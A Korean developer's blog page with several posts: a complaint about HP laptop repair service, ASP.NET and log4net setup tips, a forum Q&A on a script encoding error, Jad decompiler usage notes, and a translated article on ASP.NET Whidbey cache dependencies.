들고 들어갔다 오더니, "정상!! 입니다!!" 라고 말한다.

 

그래서 다시 말해줬다. 

 

액정이 뿌연게 어둡다!! 

또 가지고 들어간다 ㅡㅡ;

 

잠시 후 나와서 액정 교체해 준다고 하면서,

 

액정은 뽑기니까, 좀 더 밝은거로 교체해 주겠다 라고 말하면서

 

맡기고 가면 교체해서 월요일날 택배로 부쳐준다고 하면서 일 보시라고 한다.

 

차를 몰고 집에 거의 도착했을 무렵~ 서비스 센터에서 전화가 왔다.

 

" 이 제품은 원래 액정이 좀 어둡게 나왔고, 정상이기 때문에 교체할 이유가 없다!!"

 

와~! 여기서 폭발했음.

 

도대체 접수받으면서 액정 갈아주겠다는 사람은 뭐고, 전화해서 제품이 정상이라고 말하는

 

사람은 또 뭐야!!

 

다시 달려가서 면상 한대 후려갈겨주고 노트북 부셔버리고 싶었지만,

 

집보러 가기로 한 약속 시간이 다 되서 물건 오토바이로 부치라고 말하고 집보러 다녔다.

 

그리고, 월요일날 다시 방문서비스 신청해서 다음날 a/s 기사아저씨 왔다.

 

액정하나 가지고 오셨는데, 때마침 구석에 배드픽셀 하나가 살짝 보인다.

 

군소리 없이 액정 바꿨다.

 

바꾸긴 했지만 역시... 그넘이 그넘이다.

 

a/s 센터에서 내 노트북을 본 사람은 자세히 쳐다보기나 한건지,

 

단순히 액정이 어둡다고 말하니까 액정 몇번 쳐다보고 전화한건지

 

도무지 이해할 수가 없다.

 

살다 살다 이런 뭣같은 A/S 는 첨 받아보네.

 

이번에 만약 고장이 발생하고, a/s 센터에서 또 이런식이면, 보증기간 끝날때까지

 

매일 한번씩 a/s 불러야긋다.

 

hp 관계자분들이 이 글 보시면 직원교육좀 똑바로 시키고 이빨좀 잘 맞춰서 고객응대 잘 하라고

 

전해주세요.

 

내가 다시는 HP 관련제품 안산다.

 

Posted by tornado
|

현재 개발서버는 윈 2000 에 IIS 5.0 이고,

 

코딩하는 환경은 윈 2003 서버에 IIS 6.0 이다.

 

코딩 열심히 해서 개발 서버에 배포하고 aspx 페이지를 요청하면 아래와 같은 메세지가 나온다.

 

서버 응용 프로그램을 사용할 수 없습니다.

 

 

devpia 에서 찾아본 결과 apsnet_regiis.exe -i  를 실행하라고 나온다 ㅡㅡ;

 

그런데.. 문제는 정말 간단한데 있었다.

 

웹어플리케이션이 있는 폴더에 ASP.NET 권한이 없어서 발생한 문제다.

 

해당 폴더 등록정보에서 ASP.NET 계정 추가후 문제 해결.

 

Posted by tornado
|

log4net 사용

.NET/ASP.NET 2006. 3. 27. 14:33

1. log4net 사용방법.

 

 프로그램 다운로드
http://logging.apache.org/log4net/downloads.html 에서 다운로드


2. 압축을 풀고, bin\net\1.1\release 디렉토리에서 log4net.dll 파일을
프로젝트 bin 폴더에 복사한다.

3. Web.config 파일에 log4net Section 등록.

-----------------------------------------------------------------------------------------------------------------------------------------------
  <configSections>

   <!-- Log4net Section -->
   
   <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler,log4net" />
 

  </configSections>

-----------------------------------------------------------------------------------------------------------------------------------------------

configSections 가 존재할 경우 <section /> 부분만 기존 섹션에 추가한다.

아래는 elmah 로깅 서비스와 같이 존재할 경우임.
-----------------------------------------------------------------------------------------------------------------------------------------------
  <configSections>

    <!-- Allows for a new section group to the Web.config -->

    <sectionGroup name="gotdotnet.elmah">

      <!-- Indicates that inside the section group there will be an errorLog section -->

      <section
          name="errorLog"
          type="System.Configuration.SingleTagSectionHandler, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />

      <!-- Indicates that inside the section group there will be an errorMail section -->

      <section
          name="errorMail"
          type="System.Configuration.SingleTagSectionHandler, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />

    </sectionGroup>

    <!-- Log4net Section -->
   
   <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler,log4net" />
 

  </configSections>
  -----------------------------------------------------------------------------------------------------------------------------------------------


4. log4net 섹션 세부 설정.
  -----------------------------------------------------------------------------------------------------------------------------------------------
  <log4net>
    <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender,log4net">
      <param name="File" value="d:\\WebDevel\\CloseBetaLog\CloseBeta.log" />
      <param name="AppendToFile" value="true" />
      <param name="DatePattern" value="-yyyy-MM-dd" />
      <param name="RollingStyle" value="Date" />
      <param name="StaticLogFileName" value="true" />

      <layout type="log4net.Layout.PatternLayout,log4net">
        <param name="ConversionPattern" value="%d [%t] %-5p %c [%x] - %m%n" />
      </layout>
    </appender>

    <!-- root 카테고리를 설정하고 appender들을 추가한다. 기본우선순위 (default priority) 역시 설정된다. -->
    <root>
      <priority value="WARN" />
      <appender-ref ref="RollingLogFileAppender" />
    </root>

  </log4net>
  -----------------------------------------------------------------------------------------------------------------------------------------------

5. Global.asax 의 Application_Start 메서드에서 log4net 을 초기화 시킨다.

    void Application_Start(object sender, EventArgs e)
    {
        // Code that runs on application startup
       
        // log4net Configure
        log4net.Config.DOMConfigurator.Configure();
    }


6. 사용방법.


클래스를 하나 생성.

using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

using log4net;

public partial class LoggingTest : System.Web.UI.Page
{
    private static ILog logger = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);


    protected void Page_Load(object sender, EventArgs e)
    {
        LoggingTest.logger.Error(System.DateTime.Now + " : ???④릿 濡?洹??????);
       
    }
}


7. 로그 확인.

d:\WebDevel\CloseBetaLog\CloseBeta.log 를 열어보면 아래와 같이 남는다.

2006-03-27 14:15:26,053 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,084 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,115 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,147 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,178 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:15:26,209 [3536] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:15:26 : 에 남긴 로그입니다
2006-03-27 14:18:48,584 [2400] ERROR LoggingTest [(null)] - 2006-03-27 오후 2:18:48 : 에 남긴 로그입니다


8. 윈도우 Tail 유틸리티로 로그 꼬리만 계속 보기.

http://ophilipp.free.fr/op_tail.htm  에서 다운로드 후 로그 파일을 지정한 후 start 하면 됨.


 

Posted by tornado
|

ASP.NET에서 자바 스크립트를 외부에서 불러서 사용할때 에러가 나는데요... 김태환 / hasul  
김태환님께 메시지 보내기    김태환님의 블로그가 없습니다  

 아래와 같이 자바 스크립트를 외부에서 불러 서 쓸때요

실행을 시키면 종결되지 않는 문자열 상수라는 에러 메세지가 뜹니다

vs.net에서 작성을 할때 이런 현상이 나타 나네요 왜 그런겁니까?

아무리 생각 해도 모르겠습니다

도움 부탁 드립니다


<%@ Page language="c#" Codebehind="WebForm1.aspx.cs" AutoEventWireup="false" Inherits="Fm21.test.WebForm1" %>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<HTML>

    <HEAD>

        <title>WebForm1</title>

        <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">

        <meta name="CODE_LANGUAGE" Content="C#">

        <meta name="vs_defaultClientScript" content="JavaScript">

        <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">


 <script language="javascript" src="http://localhost/Fm21/JavaScript/JScript1.js"></script>   <----이렇게 해도 안되고

 <script language="javascript" src="../javaScript/JScript1.js"></script>    <---  요렇게 해도 마찬가지네요 ^^;;


    </HEAD>

    <body MS_POSITIONING="FlowLayout">


        <form id="Form1" method="post" runat="server">

            <INPUT type="button" value="Button" onclick="btnClick();">


        </form>


    </body>

</HTML>


이 글에 평점 주기:  
  2004-03-25 오후 3:51:43   /  번호: 40042  / 평점:  (-)  
 Re: 으흠.. 김기훈 / shaorang78  
김기훈님께 메시지 보내기    김기훈님의 블로그가 없습니다  
 
애초에 그 자바스크립트파일에 에러가 있나보네요..

http://localhost/Fm21/JavaScript/JScript1.js
이파일안에 잘못된 내용을 고치세요..
이 글에 평점 주기:  
  2004-03-25 오후 4:55:17   /  번호: 40050  / 평점:  (-)  
 Re: ascx 파일에 스크립트를 직접 넣고 ascx 파일을 불러다 써보세요..(한줄답변) 최종욱 / Blacksky  
최종욱님께 메시지 보내기    최종욱님의 블로그가 없습니다  

ascx 파일에 스크립트를 직접 넣고 ascx 파일을 불러다 써보세요..

이 글에 평점 주기:  
  2004-03-25 오후 5:40:43   /  번호: 40058  / 평점:  (9.0)  
 Re: 이문제 해결 했습니다........ 김태환 / hasul  
김태환님께 메시지 보내기    김태환님의 블로그가 없습니다  

web.config 파일에 보면

<globalization

            requestEncoding="utf-8"

            responseEncoding="utf-8r"

   />

아래와 같이 고쳐 주시면 실행이 됩니다

 <globalization

            requestEncoding="euc-kr"

            responseEncoding="euc-kr"

   />


아무래도 한글에 대한 표시 때문에 그런 스크립트 오류가 뜨는거 같음

Posted by tornado
|

Jad home page: http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
Copyright 2000 Pavel Kouznetsov (kpdus@yahoo.com). 


[ 사용방법 ]


1. 클래스 하나만 디컴파일시

           example1.class   를 디컴파일시 

           jad.exe 를 디컴파일할 파일과 동일한 폴더에 놓는다.

         

           Command 창에   jad -o -sjava example1.class   

       

   결과물 : 'example1.java' 

   

2. Package 를 디컴파일시   

         tree  폴더 아래의 모든 클래스파일을 디컴파일시 

         폴더와 같은 폴더에 jad.exe  를 위치하고


          Command 창에    jad -o -r -sjava -dsrc tree/**/*.class 

          

          결과물 : 폴더내에 [src] 폴더가 생성된다. 

Posted by tornado
|

ASP.NET Whidbey의 향상된 캐싱 기능

G. Andrew Duthie
Graymad Enterprises, Inc.

2004년 2월

적용 대상:
   Microsoft ASP.NET

요약: ASP.NET Whidbey에서 사용할 수 있는 새 캐싱 기능을 살펴봅니다. ASP.NET 응용 프로그램 개발자는 이 캐싱 기능을 사용하여 차세대 ASP.NET 응용 프로그램의 성능을 크게 향상시킬 수 있습니다(23페이지/인쇄 페이지 기준).

이 기사의 샘플 코드를 다운로드하십시오.

목차

소개
캐시 종속성의 확장성
SQL 캐시 무효화
사후 캐시 대체
결론
관련 서적

소개

ASP.NET의 가장 뛰어나고 유용한 기능, 그리고 논쟁의 여지가 있지만 가장 간과되는 기능 중 하나는 페이지 출력 및 임의 데이터 모두의 캐싱을 다양하게 지원하는 기능입니다. ASP.NET을 사용하면 메모리 내 렌더링된 페이지 출력, 사용자 컨트롤의 출력, 데이터 집합에서 수집한 내용 등을 저장할 수 있습니다. ASP.NET에는 간단한 시간 기준 캐시 만료에서 키 및 파일 기준 캐시 종속성에 이르기까지 캐시의 업데이트 시점을 결정하기 위한 다양한 기술도 있습니다.

현재 릴리스의 ASP.NET에서 캐싱을 사용해 본 적이 있다면 캐싱이 성능 및 확장성을 크게 향상시킬 수 있다는 것을 알고 있을 것입니다. 콘텐츠를 데이터베이스나 다시 처리된 페이지에서 제공하는 대신 메모리에서 제공하므로 성능이 향상되고, 이제 모든 페이지에 프로세서, 파일 시스템 및 데이터베이스를 사용할 필요가 없으므로 확장성이 향상됩니다.

그러나 ASP.NET 팀은 ASP.NET 캐싱의 현재 상태에 만족하지 않고 ASP.NET Whidbey에 다수의 유용한 새 캐싱 기능을 추가했습니다. 이 기사에서는 이러한 새 캐싱 기능에 대해 설명합니다. 이 기사는 다음의 세 가지 기능 위주로 설명되어 있습니다.

  • 확장 가능한 캐시 종속성
  • SQL 캐시 무효화
  • 사후 캐시 대체

캐시 종속성의 확장성

ASP.NET 1.1에서는 종속성을 사용하여 캐시 항목을 자동으로 만료할 수 있지만, 이 기능은 다소 제한되어 있습니다. 즉, 파일 및 기타 캐시 키를 종속성 항목으로 사용할 수 있지만 여기까지가 한계입니다. 물론 이것도 유용하지만 대다수의 사람들은 종속성 메커니즘을 직접 확장할 수 있게 되기를 기대해 왔습니다. 이제 더 이상 Sealed가 아닌 새로운 버전의 CacheDependency 클래스가 포함되어 있으므로 종속성 메커니즘 자체를 확장하는 것이 가능합니다. 더 이상 Sealed가 아니라는 것은 이제 이 클래스로부터 상속할 수 있다는 의미입니다. 새 버전의 클래스를 통해 개발자는 세 가지 새로운 멤버를 사용할 수 있습니다.

  • GetUniqueID - 재정의할 때 사용자 지정 캐시 종속성의 고유 식별자를 호출자에게 반환할 수 있습니다.
  • DependencyDispose - 사용자 지정 캐시 종속성 클래스에서 사용하는 리소스를 처리하는 데 사용됩니다. 사용자 지정 캐시 종속성을 만들 때 이 메서드를 구현해야 합니다.
  • NotifyDependencyChanged - 캐시 항목의 만료가 사용자 지정 캐시 종속성 인스턴스에 종속되도록 할 때 호출합니다.

마지막 두 멤버를 다음 샘플에서 사용해 보겠습니다. 예제에서는 블로그나 기타 뉴스 소스로부터 RSS(Really Simple Syndication) 피드를 읽고 결과를 XmlDocument로 캐시하는 사용자 지정 캐시 종속성을 만드는 방법을 보여 줍니다. 그런 다음 XMLDocument를 ASP.NET Xml 컨트롤과 함께 사용하여 블로그의 콘텐츠(XML 스타일시트를 사용하여 HTML로 변환됨)를 표시합니다.

사용자 지정 캐시 종속성을 만드는 첫 번째 단계는 CacheDependency 클래스로부터 상속하는 새 클래스를 만드는 것입니다. 정규화된 이름을 사용하지 않고 이 작업을 수행하려면 System.Web.Caching 네임스페이스를 가져와야 합니다.

참고   또한 쉽게 액세스할 수 있도록 Timer 클래스에 대해 System.Threading을, XmlDocument 클래스에 대해 System.Xml을 가져옵니다.

클래스 정의는 다음과 비슷합니다.

Imports SystemImports System.WebImports System.ThreadingImports System.Web.CachingImports System.XmlNamespace v2_Caching Public Class BlogCacheDependency Inherits CacheDependency '여기에 클래스 코드 입력End Namespace(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

그 다음에는 일부 멤버 변수를 추가합니다.

' 타이머는 분리된 스레드에서 종속성 검사를 수행하는 데 사용됩니다.Shared TickTock As TimerDim m_PollTimeSec As Integer = 300Dim m_RSS As XmlDocumentDim m_Feed As String

Timer 클래스는 RSS 피드를 폴링하여 변경 사항을 찾는 데 사용됩니다. 다른 변수는 폴 시간, 초기 RSS가 포함될 XmlDocument, 그리고 RSS 피드의 URL입니다.

XmlDocument를 표시할 수 있도록 Public Property를 추가합니다.

Public ReadOnly Property RSS() As XmlDocument Get Return m_RSS End GetEnd Property

RSS를 클라이언트에 반환하기만 하면 되므로 이 속성은 ReadOnly로 표시되고 Set 접근자가 없어야 합니다.

그 다음에는 BlogCacheDependency 클래스의 두 주요 요소인 생성자와 CheckDependencyCallback 메서드를 살펴보겠습니다. 생성자는 아래에 표시되어 있습니다.

' BlogCacheDependency 생성자Public Sub New(ByVal Feed As String, ByVal PollTimeSec As Integer) m_Feed = Feed m_PollTimeSec = PollTimeSec m_RSS = GetRSS(m_Feed) If TickTock Is Nothing Then TickTock = New Timer(New _ TimerCallback(AddressOf CheckDependencyCallback), Me, _ (m_PollTimeSec * 1000), (m_PollTimeSec * 1000)) End IfEnd Sub

생성자는 검색 및 검사할 RSS 피드의 URL이 들어 있는 문자열과 피드의 각 폴링 요청 사이 시간(초)이 들어 있는 정수를 받습니다. 해당 값이 로컬 멤버 변수에 저장된 후 m_RSS 멤버 변수는 GetRSS 메서드를 호출하여 채워집니다. 이 과정은 아래에서 곧 설명할 예정입니다. 마지막으로 생성자는 Timer 멤버 변수가 인스턴스화되었는지 확인하고, 인스턴스화되어 있지 않으면 타이머의 새 인스턴스를 만들어서 m_PollTimeSec 멤버 변수의 값을 기준으로 CheckDependencyCallback 메서드를 주기적으로 호출하도록 설정합니다.

아래에 표시된 CheckDependencyCallbackBlogCacheDependency(Sender 인수로부터 CheckDependencyCallback에 할당됨) 형식의 로컬 인스턴스 변수를 만든 다음 GetRSS 메서드에서 추출한 새 XmlDocument를 만들고 OuterXml 속성 값을 m_RSS 멤버 변수(생성자에서 검색한 원래 XmlDocument가 포함되어 있음)의 해당 속성 값과 비교합니다. 두 값이 동일한 경우에는 아무런 작업도 수행되지 않습니다. 하지만 서로 다른 경우에는 코드가 NotifyDependencyChanged를 호출하여 ASP.NET 캐시 엔진으로 하여금 캐시된 항목을 제거하도록 합니다.

Public Sub CheckDependencyCallback(ByVal Sender As Object) Dim BCD As BlogCacheDependency = Sender Dim NewRSS As XmlDocument = GetRSS(m_Feed) If Not NewRSS.OuterXml = m_RSS.OuterXml Then BCD.NotifyDependencyChanged(BCD, EventArgs.Empty) End IfEnd Sub

GetRSS 메서드는 매우 간단합니다.

Function GetRSS(ByVal Feed As String) As XmlDocument Dim RSSDoc As New XmlDocument RSSDoc.Load(m_Feed) Return RSSDocEnd Function

이 메서드는 간단히 XmlDocument 형식의 로컬 변수를 만들고 XmlDocumentLoad 메서드를 호출하여 m_Feed 변수에 포함된 URL을 이 메서드에 전달하고 XmlDocument를 호출자에게 반환합니다. RSS 피드를 검색하는 것은 매우 간단합니다. RSS는 XML이므로 단 몇 줄의 코드로 RSS 피드를 아주 쉽게 가져올 수 있습니다. 나중에는 XSL을 사용하여 RSS 피드를 표시하도록 지정하는 것이 매우 간단하다는 것을 알게 될 것입니다.

마지막으로 사용자 지정 종속성 클래스가 처리될 때 몇 가지를 정리해야 합니다. DependencyDispose 메서드를 재정의하고, 이 안에서 Timer 인스턴스를 처리하면 됩니다.

Protected Overrides Sub DependencyDispose() TickTock = Nothing MyBase.DependencyDispose()End Sub

이제 사용자 지정 캐시 종속성 클래스의 코드가 완료되었습니다. 50줄도 안 되는 코드가 전부입니다. Whidbey의 새로운 코드 컴파일 기능  덕분에 클래스를 웹 사이트의 Code 폴더에 저장하기만 하면 ASP.NET에서 클래스를 자동으로 컴파일합니다.

사용자 지정 캐시 종속성을 사용하는 것은 이보다 더 쉽습니다. 사용자 지정 캐시 종속성 클래스를 사용하여 ASP.NET Xml 컨트롤을 사용하는 RSS 피드를 검색하고 표시하는 ASP.NET 페이지가 아래에 표시되어 있습니다. 코드는 입력된 URL의 캐시에 항목이 있는지 테스트를 통해 확인합니다. 항목이 없는 경우에는 레이블 텍스트를 설정하여 항목이 캐시에서 추출되지 않았음을 나타낸 다음 BlogCacheDependency 클래스의 새 인스턴스를 만들어서 RSS 피드의 URL과 폴링 사이의 초 단위 시간(이 경우 1시간을 나타내는 3600)을 전달합니다. 그런 다음 사용자가 지정한 URL을 키로, 종속성 인스턴스의 RSS 속성을 값으로 사용하여 Cache에 항목을 삽입하고 캐시된 항목이 종속성 인스턴스에 종속되도록 설정합니다. 마지막으로 코드는 캐시된 항목에 Xml 컨트롤의 Document 속성을 설정하고, "feeds.xsl"에 TransformSource 속성을 설정합니다. "feeds.xsl"은 RSS를 HTML로 변환하는 스타일시트로, today.icantfocus.com 웹 사이트(http://today.icantfocus.com/blog/archives/entries/000430/)(영문 사이트)에 있습니다.

<%@ page language="VB" %><%@ import namespace="v2_Caching" %><script runat="server"> Sub Button1_Click(ByVal sender As Object, _ ByVal e As System.EventArgs) Label2.Text = "예" If Cache(TextBox1.Text) Is Nothing Then Label2.Text = "아니요" '변경 내용을 60분마다 폴링하도록 종속성을 만듭니다. Dim dep As New BlogCacheDependency(TextBox1.Text, 3600) Cache.Insert(TextBox1.Text, dep.RSS, dep) End If FeedXml.Document = Cache(TextBox1.Text) FeedXml.TransformSource = "feeds.xsl" End Sub</script><html><head runat="server"> <title>사용자 지정 캐시 종속성 예제</title></head><body> <form runat="server"> 표시할 RSS 피드를 입력하십시오: <asp:textbox id="TextBox1" runat="server"> </asp:textbox> <asp:button id="Button1" onclick="Button1_Click" runat="server" text="피드 가져오기" /> <hr /> 캐시에서 가져옴: <asp:label id="Label2" runat="server" forecolor="#FF3366"> </asp:label> <br /> 피드: <asp:xml id="FeedXml" runat="Server" /> <br /> </form></body></html>

그림 1은 페이지의 모양을 보여 줍니다.

그림 1. CustomDependency.aspx

사용자가 유효한 피드 URL(이 예제에서는 URL의 유효성을 검사하지 않으므로 사용자가 유효하지 않은 URL을 입력하면 예외가 발생)을 입력하고 피드 가져오기 단추를 클릭하면 그림 2와 비슷한 결과가 나타납니다. 캐시에서 피드가 추출되지 않는 것을 볼 수 있습니다.

그림 2. 블로그 피드 표시

후속 요청에서는 그림 3과 같이 캐시에서 피드를 제공합니다.

그림 3. 캐시에서 피드 제공

피드가 변경되는 경우 다음 폴링 간격에서 Timer 코드가 캐시된 항목을 무효화하므로 결과가 그림 4와 같아집니다.

그림 4. 업데이트된 피드

다음은 사용자 지정 캐시 종속성을 개발할 때 주의해야 할 마지막 사항입니다. 외부 리소스, 특히 사용자가 제어할 수 없는 외부 리소스를 폴링하는 코드를 개발할 때는 두 가지를 염두에 두어야 합니다.

  • 폴링 메커니즘이 해당 리소스에 미치는 부하에 주의해야 합니다. 다른 사람이 호스팅하는 RSS 피드를 30초마다 폴링하면 문제가 발생할 수 있습니다. 대부분의 RSS 피드는 그렇게 자주 업데이트되지 않기 때문입니다.
  • 폴링 중인 RSS 피드를 사용할 수 없게 되는 불가피한 경우를 처리하기 위한 예외 처리 코드를 포함시켜야 합니다.

SQL 캐시 무효화

웹 개발자에게 데이터 및 출력 캐싱이 모두 제공하는 가장 큰 이점 중 하나는 요청할 때마다 부하가 많이 걸리는 리소스를 반복적으로 처리하고 검색해야 하는 부담을 피할 수 있게 해 주는 것입니다. 물론 데이터베이스와의 정보 교환이 가장 부하가 많이 걸리는 리소스 중 하나이므로 캐싱은 데이터 집합의 메모리 내 복사본 또는 데이터 중심의 캐시된 페이지 버전을 저장하는 데 특히 유용합니다.

문제는 최신 데이터를 필요로 하는 페이지가 있는 경우 발생합니다. ASP.NET v1.1에서는 캐시 기간을 아주 짧게 설정하거나, 부분 페이지 캐싱을 사용하여 페이지에서 변경되지 않을 부분만 캐시하는 방법 외에는 캐시된 데이터가 오래된 데이터가 되지 않도록 하는 방법이 기본적으로 제공되지 않습니다.

이를 해결하기 위해 ASP.NET Whidbey에는 Microsoft SQL Server™ 데이터의 변경 사항을 기준으로 캐시된 항목 또는 출력 캐시된 페이지를 무효화할 수 있는 기능이 추가되었습니다. 이 기능은 매우 간단하게 구현할 수 있으며 SQL Server 7, 2000 및 Yukon에서 지원됩니다.

SQL Server 7/2000

ASP.NET 팀에서 데이터베이스 캐시 무효화 기능을 SQL Server 7 및 2000에 제공할 때 겪은 어려움 중 하나는 두 버전 모두 특정 테이블의 데이터가 변경될 때 원하는 당사자에게 이를 알릴 수 있는 메커니즘이 기본 제공되어 있지 않다는 점이었습니다. 물론 트리거를 사용하는 방법(트리거가 sp_MakeWebTask를 호출하여 SQL Server 웹 길잡이로 하여금 테이블의 내용을 특정 페이지에 쓰도록 한 다음 이 페이지를 파일 캐시 종속성으로 사용하는 방법이 있음)이 있지만, 이 경우 성능 향상은 고사하고 사이트가 차단되어 전혀 작동하지 않게 되는 상황이 발생할 위험도 있습니다.

이전 예제에서 이에 대한 해결 방법의 기초를 이미 살펴보았습니다. ASP.NET 팀에서는 사용자가 지정한 일정에 따라 지정된 데이터베이스를 폴링하여 변경 내용을 찾는 SqlCacheDependency 클래스라는 사용자 지정 캐시 종속성을 만들었습니다. 이 클래스는 변경된 데이터를 찾으면 캐시를 무효화하므로, 새로운 데이터를 얻을 수 있습니다.

폴링 및 비교 메커니즘을 좀 더 단순하게 만들기 위해 SQL 7/2000의 SQL 캐시 무효화 작업에서는 변경 사항을 모니터링할 각 데이터베이스/테이블에 대한 1회 설정이 필요합니다. 이 설정은 aspnet_regsqlcache.exe 명령줄 도구를 통해 수행합니다. 이 기능은 Whidbey 알파 릴리스와는 별도로 제공되지만, 베타 릴리스에는 마법사 및 명령줄 UI를 모두 제공하는 aspnet_regsql.exe라는 또 다른 도구에서 제공될 예정입니다. aspnet_regsqlcache.exe는 Whidbey 릴리스의 기본 프레임워크 디렉터리에 있습니다.

캐시 무효화를 위해 Pubs 샘플 데이터베이스를 사용하려면 다음 명령을 실행하기만 하면 됩니다. 다음 명령에서 -S 매개 변수는 로컬 SQL Server 인스턴스를 지정하는 반면 -E 매개 변수는 유틸리티로 하여금 트러스트된 연결을 사용하여 SQL Server에 연결하도록 합니다. 그러기 위해서는 로그인 계정이 SQL Server 컴퓨터 및 필요한 데이터베이스에 액세스할 수 있어야 합니다.

aspnet_regsqlcache.exe -S (local) -E -d Pubs -ed

작성자 테이블을 사용하려면 다음 명령을 실행하기만 하면 됩니다.

aspnet_regsqlcache.exe -S (local) -E -d Pubs -t Authors -et

다음 명령을 실행할 수도 있습니다.

aspnet_regsqlcache.exe -?

그러면 사용할 수 있는 모든 명령줄 매개 변수가 표시됩니다.

데이터베이스를 설정한 후에는 연결 정보 및 폴링 빈도를 지정해야 합니다. 아래와 같이 web.config에 있는 <cache>라는 새로운 구성 요소를 사용하면 됩니다. 여기에서는 역시 ASP.NET Whidbey에 새로 추가된 connectionStrings 섹션을 사용하여 응용 프로그램에 사용되는 연결 문자열을 저장합니다. 베타 릴리스에는 ID 및 암호 정보의 암호화를 지원하는 기능도 추가될 예정입니다.

<?xml version="1.0" encoding="UTF-8" ?><configuration> <connectionStrings> <add name="PubsConnYukon" connectionString="User ID=<id>;pwd=<password>;Initial
Catalog=pubs;Data Source=192.168.0.108" /> <add name="PubsConn" connectionString="Initial Catalog=pubs;Data
Source=(local);Trusted_Connection=true" /> </connectionStrings> <system.web> <cache> <sqlCacheDependency enabled="true" pollTime="30000"> <databases> <add name="Pubs" connectionStringName="PubsConn" /> </databases> </sqlCacheDependency> </cache> </system.web></configuration>

위 예제에서는 <sqlCacheDependency> 요소를 사용하여 데이터베이스 캐시 종속성(응용 프로그램의 전역 설정)을 사용하도록 설정하고 기본 폴링 시간을 30000밀리초(30초)로 설정했습니다. <databases> 요소에는 이 응용 프로그램에 대해 설정된 모든 데이터베이스가 포함되며, 이 경우에는 connectionStringName 특성을 사용하여 Pubs 데이터베이스를 추가하는 <add> 요소만 하나 있습니다. connectionString 특성을 사용하여 연결 문자열을 <add> 요소에 직접 지정할 수도 있습니다. name 특성은 나중에 이 종속성을 참조하는 데 사용되는 이름을 지정합니다.

<cache> 요소를 구성한 후에는 구성된 종속성을 사용하는 것이 매우 간단합니다. 종속성은 세 가지 방법 중 하나로 구성할 수 있습니다. 즉, 출력 캐시 API 또는 캐시 API를 통해 구성하거나 선언적으로 구성할 수 있습니다.

다음 코드는 출력 캐시 API를 통해 종속성을 사용하여 Authors 테이블에서 데이터가 변경될 때 페이지의 출력 캐시를 무효화하는 방법을 보여 줍니다.

참고   이 코드에서는 System.Web.Caching 네임스페이스를 가져왔다고 가정합니다.
Dim sqlDependency As New SqlCacheDependency("Pubs", "Authors")Response.AddCacheDependency(sqlDependency)Response.Cache.SetValidUntilExpires(True)Response.Cache.SetExpires(DateTime.Now.AddMinutes(60))Response.Cache.SetCacheability(HttpCacheability.Public)

이 코드는 일반적으로 Page_Load 이벤트 처리기에 있습니다.

구성된 종속성을 Cache 클래스와 함께 사용하려면 이제 어느 정도 친숙한 다음 코드를 사용해야 합니다. 이 코드는 Pubs Authors 테이블에서 데이터 집합을 검색하여 구성된 SqlCacheDependency와 함께 캐시하거나, 데이터가 변경되지 않은 경우 단순히 캐시된 데이터 집합을 반환합니다.

Dim Key As String = "Authors"If (Cache(Key) Is Nothing) Then Label1.Text = "캐시에 없음…" Dim connection As New _ SqlConnection(ConfigurationSettings.ConnectionStrings("Pubs")) Dim adapter As New _ SqlDataAdapter("SELECT * FROM Authors", connection) Dim DS As New DataSet adapter.Fill(dataSet) Cache.Insert(Key, DS, New SqlCacheDependency("Pubs", "Products"))Else Label1.Text = "캐시에 있음…"End IfReturn Cache(Key)

마지막으로 간단하게 선언적인 @ OutputCache 지시문을 사용하여 전체 페이지 출력을 캐시하고, 새 sqlDependency 특성을 사용하여 DatabaseAlias:TableName 형식으로 종속성을 지정할 수도 있습니다. 여기에서 DatabaseAlias는 web.config에서 설정한 <add> 요소의 name 특성이 지정하는 이름이고, TableName은 변경 사항을 폴링할 테이블의 이름입니다. 다음 코드는 Authors 테이블에서 데이터를 추출하여 GridView 컨트롤에 바인딩한 다음 앞에서 구성한 종속성에 따라 페이지 출력을 캐시하는 페이지를 보여 줍니다.

<%@ page language="VB" %><%@ outputcache duration="9999" varybyparam="none" sqldependency="Pubs:Authors" %><script runat="server"> Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Sqldatasource1.ConnectionString = _ ConfigurationSettings.ConnectionStrings("PubsConn") CacheStatus.Text = "이 페이지를 마지막으로 렌더링한 시간: " & _ DateTime.Now.ToLongTimeString End Sub</script><html><head runat="server"> <title>DB Cache invalidation on SQL Server 2000</title></head><body> <form runat="server"> <h2><asp:label id="CacheStatus" runat="Server"/></h2> <asp:gridview id="Gridview1" datasourceid="Sqldatasource1" bordercolor="#CC9966" borderstyle="None" borderwidth="1px" backcolor="White" cellpadding="4" runat="server"> <alternatingrowstyle font-italic="False" font-bold="False"> </alternatingrowstyle> <rowstyle forecolor="#330099" backcolor="White" font-italic="False" font-bold="False"> </rowstyle> <headerstyle forecolor="#FFFFCC" backcolor="#990000" font-italic="False" font-bold="True"> </headerstyle> <footerstyle forecolor="#330099" backcolor="#FFFFCC" font-italic="False" font-bold="False"> </footerstyle> </asp:gridview> 